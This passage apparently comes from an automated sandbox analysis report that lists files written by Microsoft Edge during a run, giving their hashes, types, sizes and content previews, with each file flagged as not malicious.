SSDEEP:	6:HMbLi+q2PcNwi23oH+TcwtfrzAdIFUt8YMb8sZmw+YMbfVkwOcNwi23oH+Tcwtfa:si+vLZYeb9FUt8Bn/+BjV54ZYeb2J
MD5:	951494E2B49859322B8EC0B01D7E2B37
SHA1:	89337A0298D34B60A19BC2185CEC33AF589DBEED
SHA-256:	B8F2C76D733A7E3BAA830BC50EC4ACCE910C3ACE56702DAF964AE2C34942174E
SHA-512:	16C0DAD84C434E1C1ADDCB8CCD0CE29C30FB6808C5962A053FFDDB5BB543360FA51D0E88F728980ED399C90D8C553BF3A92BC967C178C9C29CB1A43133781D06
Malicious:	false
Preview:	2024/11/28-06:49:47.518 f4c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/11/28-06:49:47.519 f4c Recovering log #3.2024/11/28-06:49:47.520 f4c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895345171249415
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SitBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynat5b7VLyMV/YoskFoz
MD5:	F49687AB0785F3AB6A7992E7BF9DFD1D
SHA1:	209C60810FC694F4E564C0D485DBE9845B422595
SHA-256:	09C51A6BC3FB7821A6D6B5E2C7C3278863DB08C5CC4FB45F6BA37A0DDFC91F72
SHA-512:	B48E46E0753B6FDC54AFBC08ABE836776262AD4C055A355EABBF069ED8144C9A645382011DAA31A83315B1C8DCA7DFE2936B253FEE1B2BE656A459E4698CB421
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24f00.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895345171249415
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SitBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynat5b7VLyMV/YoskFoz
MD5:	F49687AB0785F3AB6A7992E7BF9DFD1D
SHA1:	209C60810FC694F4E564C0D485DBE9845B422595
SHA-256:	09C51A6BC3FB7821A6D6B5E2C7C3278863DB08C5CC4FB45F6BA37A0DDFC91F72
SHA-512:	B48E46E0753B6FDC54AFBC08ABE836776262AD4C055A355EABBF069ED8144C9A645382011DAA31A83315B1C8DCA7DFE2936B253FEE1B2BE656A459E4698CB421
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF24feb.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895345171249415
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SitBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynat5b7VLyMV/YoskFoz
MD5:	F49687AB0785F3AB6A7992E7BF9DFD1D
SHA1:	209C60810FC694F4E564C0D485DBE9845B422595
SHA-256:	09C51A6BC3FB7821A6D6B5E2C7C3278863DB08C5CC4FB45F6BA37A0DDFC91F72
SHA-512:	B48E46E0753B6FDC54AFBC08ABE836776262AD4C055A355EABBF069ED8144C9A645382011DAA31A83315B1C8DCA7DFE2936B253FEE1B2BE656A459E4698CB421
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF253c3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895345171249415
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SitBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynat5b7VLyMV/YoskFoz
MD5:	F49687AB0785F3AB6A7992E7BF9DFD1D
SHA1:	209C60810FC694F4E564C0D485DBE9845B422595
SHA-256:	09C51A6BC3FB7821A6D6B5E2C7C3278863DB08C5CC4FB45F6BA37A0DDFC91F72
SHA-512:	B48E46E0753B6FDC54AFBC08ABE836776262AD4C055A355EABBF069ED8144C9A645382011DAA31A83315B1C8DCA7DFE2936B253FEE1B2BE656A459E4698CB421
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF27a75.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895345171249415
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SitBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynat5b7VLyMV/YoskFoz
MD5:	F49687AB0785F3AB6A7992E7BF9DFD1D
SHA1:	209C60810FC694F4E564C0D485DBE9845B422595
SHA-256:	09C51A6BC3FB7821A6D6B5E2C7C3278863DB08C5CC4FB45F6BA37A0DDFC91F72
SHA-512:	B48E46E0753B6FDC54AFBC08ABE836776262AD4C055A355EABBF069ED8144C9A645382011DAA31A83315B1C8DCA7DFE2936B253FEE1B2BE656A459E4698CB421
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF2c5b7.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895345171249415
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SitBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynat5b7VLyMV/YoskFoz
MD5:	F49687AB0785F3AB6A7992E7BF9DFD1D
SHA1:	209C60810FC694F4E564C0D485DBE9845B422595
SHA-256:	09C51A6BC3FB7821A6D6B5E2C7C3278863DB08C5CC4FB45F6BA37A0DDFC91F72
SHA-512:	B48E46E0753B6FDC54AFBC08ABE836776262AD4C055A355EABBF069ED8144C9A645382011DAA31A83315B1C8DCA7DFE2936B253FEE1B2BE656A459E4698CB421
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF364b6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895345171249415
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SitBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynat5b7VLyMV/YoskFoz
MD5:	F49687AB0785F3AB6A7992E7BF9DFD1D
SHA1:	209C60810FC694F4E564C0D485DBE9845B422595
SHA-256:	09C51A6BC3FB7821A6D6B5E2C7C3278863DB08C5CC4FB45F6BA37A0DDFC91F72
SHA-512:	B48E46E0753B6FDC54AFBC08ABE836776262AD4C055A355EABBF069ED8144C9A645382011DAA31A83315B1C8DCA7DFE2936B253FEE1B2BE656A459E4698CB421
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3bfd6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44236
Entropy (8bit):	6.0895345171249415
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kOTKKGf4SitBF1OIlPsm7DRo+yM/42cRaLMoskCioz:z/Ps+wsI7ynat5b7VLyMV/YoskFoz
MD5:	F49687AB0785F3AB6A7992E7BF9DFD1D
SHA1:	209C60810FC694F4E564C0D485DBE9845B422595
SHA-256:	09C51A6BC3FB7821A6D6B5E2C7C3278863DB08C5CC4FB45F6BA37A0DDFC91F72
SHA-512:	B48E46E0753B6FDC54AFBC08ABE836776262AD4C055A355EABBF069ED8144C9A645382011DAA31A83315B1C8DCA7DFE2936B253FEE1B2BE656A459E4698CB421
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
